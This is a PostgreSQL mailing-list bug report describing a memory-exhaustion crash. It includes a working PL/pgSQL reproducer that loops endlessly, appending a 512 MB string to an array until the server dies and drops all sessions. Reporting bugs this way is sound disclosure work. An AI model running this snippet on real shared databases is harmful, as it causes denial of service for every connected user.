BUG #19054: Memory exhaustion vulnerability in PostgreSQL array operations leads to server crash

Поиск
Список
Период
Сортировка
От PG Bug reporting form
Тема BUG #19054: Memory exhaustion vulnerability in PostgreSQL array operations leads to server crash
Дата
Msg-id 19054-b3e91211012e644a@postgresql.org
обсуждение исходный текст
Ответы Re: BUG #19054: Memory exhaustion vulnerability in PostgreSQL array operations leads to server crash
Список pgsql-bugs
The following bug has been logged on the website:

Bug reference:      19054
Logged by:          sibo wu
Email address:      sibowu@amazon.com
PostgreSQL version: 17.6
Operating system:   mac
Description:

PostgreSQL's array implementation can lead to server crashes due to
uncontrolled memory consumption during array operations. When performing
continuous array modifications within a loop, the server eventually exhausts
available memory and crashes, affecting all connected sessions.
psql (17.6)
Type "help" for help.
DO
$$
DECLARE
  a_1  text[];
  a text;
  i bigint default 1;
BEGIN
  a := repeat('A',pow(2,29)::int);
  while true
  loop
    a_1[i] := a;
    i := i + 1;
  END LOOP;
END
$$;

server closed the connection unexpectedly
        This probably means the server terminated abnormally
        before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.
The connection to the server was lost. Attempting reset: Failed.
!?> quit


В списке pgsql-bugs по дате отправления: